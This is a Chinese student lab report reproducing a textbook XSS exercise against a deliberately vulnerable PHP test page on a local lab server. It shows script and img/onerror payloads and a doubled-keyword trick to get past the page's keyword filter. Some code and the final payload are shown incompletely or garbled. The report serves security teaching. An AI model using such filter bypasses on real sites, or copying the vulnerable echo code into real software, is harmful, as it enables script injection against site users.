

《漏洞利用及渗透测试基础》实验报告

姓名：刘星宇 学号：2212824 班级：信息安全法学

实验名称：

跨站脚本攻击

实验要求：

复现课本第十一章实验三，通过 img 和 script 两类方式实现跨站脚本攻击，撰写实验报告。

实验过程：

1. 实验准备

建立 Dreamweaver 文件，输入源代码

```
<!DOCTYPE html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8">
<script>
window.alert = function()
{
confirm("Congratulations~");
}
</script>
</head>
<body>
<h1 align=center>--Welcome To The Simple XSS Test--</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
echo "<h2 align=center>Hello ".htmlspecialchars($str)."</h2>".<center>
<form action=xss_test.php method=GET>
<input type=submit name=submit value=Submit />
<input name=keyword value='".$str4.'">
</form>
</center>";
?>
</body>
</html>
```

访问 URL: http://192.168.19.131/xss_test.php

访问页面查看效果：

--Welcome To The Simple XSS Test--

Hello .

在界面中，我们可以看到一个 Submit 按钮和输入框，并且还有标题提示 XSS

二. 输入测试

1. script

a. 黑盒测试

是输入上面学过最简单的 XSS 脚本: `<script>alert('xss')</script>` 来进行测试。我们点击 Submit 按钮以后, 效果如下:

--Welcome To The Simple XSS Test--

Hello `<script>alert('\xss\')`.

`<script>alert('\xss\')`

但是我们观察到这句代码并没有被执行
跳转到该 xss.php 文件的源码:

```
<!DOCTYPE html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8">
<script>
window.alert = function()
{
confirm("Congratulations~");
}
</script>
</head>
<body>
<h1 align=center>--Welcome To The Simple XSS Test--</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
echo "<h2 align=center>Hello ".htmlspecialchars($str)."</h2>".<center>
<form action=xss_test.php method=GET>
<input type=submit name=submit value=Submit />
<input name=keyword value="<script>alert('xss')</script>">
</form>
</center>";
?>
</body>
</html>
```

并没有看到该弹窗, 说明代码确实没有被执行。但相比于最先得到的 php 代码, 发生了改变:

`<input name=keyword value="<script>alert('xss')</script>">`

因为 php 服务器为了避免一些用户特殊构造的攻击, 将双引号等符号转义, 于是修改 php-apache2handler.ini, 将 “magic_quotes_gpc = On” 设置为 “magic_quotes_gpc = Off”。

经过修改调试后我们得到了输出结果:



B. 白盒测试

我们前往 `xss_test.php` 文件中查看页面的核心逻辑。

```
<?php
ini_set( "display_errors", 0);
$str=strtolower( $_GET[ "keyword"] );
$str2=str_replace( "script", "", $str);
$str3=str_replace( "on", "", $str2);
$str4=str_replace( "src", "", $str3);
echo "<h2 align=center>Hello ".htmlspecialchars($str). "</h2>". ' <center>
<form action=xss_test.php method=GET>
<input type=submit name=submit value=Submit />
<input name=keyword value="'. $str4. "'>
</form>
</center>';
?>
```

分析上述代码可知，这些代码的逻辑与我们第 2 步中进行的黑盒测试所总结出的逻辑基本相符。

2. Img

对于 `img` 函数来说，需要指定显示图片的源，以及如果图片显示错误应当执行的函数。那么在这里，显示图片出现错误时，就可以使用之前重写过的 `alert` 函数，来显示弹窗。用来绑定的关键词是 `onerror`。当 `img` 加载一个错误的图像来源 `ops!` 时，会触发 `onerror` 事件，从而执行 `alert` 函数。


用 `` 标签构造脚本

```
<img src=ops! onerror="alert('XSS')">
```

”> 用来闭合前面的 `<input>` 标签。而 `<!--` 其实是为了美观，用来注释掉后面不需要的”>，否则页面就会在输入框后面回显”>

发现还是没有显示弹窗，打开源代码进行分析

按 F12 进入网页的开发者模式，得到源代码如下：



```
xss [3] - 记事本
文件(F) 编辑(E) 格式(O) 查看(V) 帮助(H)
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8">
<script>
window.alert = function()
{
    confirm("Congratulations~");
}
</script>
</head>
<body>
<h1 align=center>--Welcome To The Simple XSS Test--</h1>
<h2 align=center>Hello &quot;&gt;&lt;img src=ops! onerror=&quot;alert('xss')&quot;&gt;&lt;!--</h2><center>
<form action=xss.php method=GET>
<input type=submit name=submit value=Submit />
<input name=keyword value=""><img src=ops! onerror="alert('xss')"><!-->
</form>
</center></body>
</html>
```

发现在 `value` 后面我们的 `src=ops!` 变成了 `=ops!`，也就是说 `src` 也被作为关键词给屏蔽了，同样使用复写的方式将 `src` 改成 `srsrc`，再次尝试

本次输入语句 `><!--`

得到结果:

--Welcome To The Simple XSS Test--
Hello "><!--.

出现了弹窗，攻击成功

心得体会:

通过这次跨站脚本攻击（XSS）的实验，我深刻体会到了 Web 安全性和实际应用中的复杂性。实验让我从实践中学习到了理论知识的具体运用，也揭示了 Web 应用安全防护措施上的脆弱性。通过复现课本的实验内容，我更直观地理解了 XSS 攻击的工作原理及其防护措施。实验中，我尝试了 script 和 img 两种攻击方式，这不仅增强了我对黑盒测试和白盒测试的认识，也让我明白如何从攻击者的角度思考问题。这次实验不仅加深了我的技术理解，也强化了我对网络安全严肃性的认识。它让我更加坚定了在网络安道路上继续深入探索和学习的决心。